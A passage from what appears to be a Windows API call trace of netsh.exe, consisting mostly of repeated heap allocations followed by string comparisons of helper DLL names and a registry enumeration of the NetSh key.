(HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350c80 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350ca0 [0039.685] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350cc0 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350ce0 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350d00 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350d20 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350d40 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350d60 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350d80 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350da0 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350dc0 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350de0 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350e00 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350e20 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350e40 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350e60 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350e80 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350ea0 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350ec0 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350ee0 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350f00 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350f20 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350f40 [0039.686] GetProcessHeap () returned 0x330000 [0039.686] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350f60 [0039.686] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350f80 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350fa0 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350fc0 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350fe0 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351000 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351020 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351040 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351060 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3510c0 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3510e0 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351100 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351120 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351140 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351160 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351180 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3511a0 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3511c0 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3511e0 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351200 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351220 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351240 [0039.687] GetProcessHeap () returned 0x330000 [0039.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351260 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351280 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3512a0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3512c0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3512e0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351300 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351320 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351340 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351360 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351380 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3513a0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3513c0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3513e0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351400 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351420 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351440 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351460 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351480 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3514a0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3514c0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3514e0 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351500 [0039.688] GetProcessHeap () returned 0x330000 [0039.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351520 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351540 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351560 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351580 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3515a0 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3515c0 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3515e0 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351600 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351620 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351640 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351660 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351680 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3516a0 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3516c0 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3516e0 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351700 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351720 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351740 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351760 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351780 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3517a0 [0039.689] GetProcessHeap () returned 0x330000 [0039.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3517c0 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3517e0 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351800 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351820 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351840 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351860 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3518c0 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3518e0 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351900 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351920 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351940 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351960 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351980 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3519a0 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3519c0 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3519e0 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351a00 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351a20 [0039.690] GetProcessHeap () returned 0x330000 [0039.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351a40 [0039.690] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351a60 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351a80 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351aa0 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351ac0 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351ae0 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351b00 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351b20 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351b40 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351b60 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351b80 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351ba0 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351bc0 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351be0 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351c00 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351c20 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351c40 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351c60 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351c80 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351ca0 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351cc0 [0039.691] GetProcessHeap () returned 0x330000 [0039.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351ce0 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351d00 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351d20 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351d40 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351d60 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351d80 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351da0 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351dc0 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351de0 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351e00 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351e20 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351e40 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351e60 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351e80 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351ea0 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351ec0 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351ee0 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351f00 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351f20 [0039.692] GetProcessHeap () returned 0x330000 [0039.692] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351f40 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351f60 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351f80 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351fa0 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351fc0 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x351fe0 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352000 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352020 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352040 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352060 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3520c0 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3520e0 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352100 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352120 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352140 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352160 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352180 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3521a0 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3521c0 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3521e0 [0039.693] GetProcessHeap () returned 0x330000 [0039.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352200 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352220 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352240 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352260 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352280 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3522a0 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3522c0 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3522e0 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x352300 [0039.694] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0039.694] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x34e060 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x2) returned 0x352890 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x352320 [0039.694] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0039.694] GetProcessHeap () returned 0x330000 [0039.694] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x330000) returned 1 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x58) returned 0x3528b0 [0039.694] GetProcessHeap () returned 0x330000 [0039.694] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x330000) returned 1 [0039.695] GetProcessHeap () returned 0x330000 [0039.695] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xb0) returned 0x352910 [0039.695] GetProcessHeap () returned 0x330000 [0039.695] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3528b0 | out: hHeap=0x330000) returned 1 [0039.695] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x217278 | out: phkResult=0x217278*=0x90) returned 0x0 [0039.695] RegQueryInfoKeyW (in: hKey=0x90, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2172a0, lpcbMaxValueNameLen=0x2172b0, lpcbMaxValueLen=0x2172a8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2172a0*=0x15, lpcbMaxValueNameLen=0x2172b0, lpcbMaxValueLen=0x2172a8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0039.695] GetProcessHeap () returned 0x330000 [0039.695] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x16) returned 0x352340 [0039.695] GetProcessHeap () returned 0x330000 [0039.695] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x23) returned 0x34e090 [0039.695] RegEnumValueW (in: hKey=0x90, dwIndex=0x0, lpValueName=0x352340, lpcchValueName=0x217270, lpReserved=0x0, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8 | out: lpValueName="4", lpcchValueName=0x217270, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8) returned 0x0 [0039.695] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0039.695] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0039.695] GetProcessHeap () returned 0x330000 [0039.695] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x50) returned 0x3528b0 [0039.695] 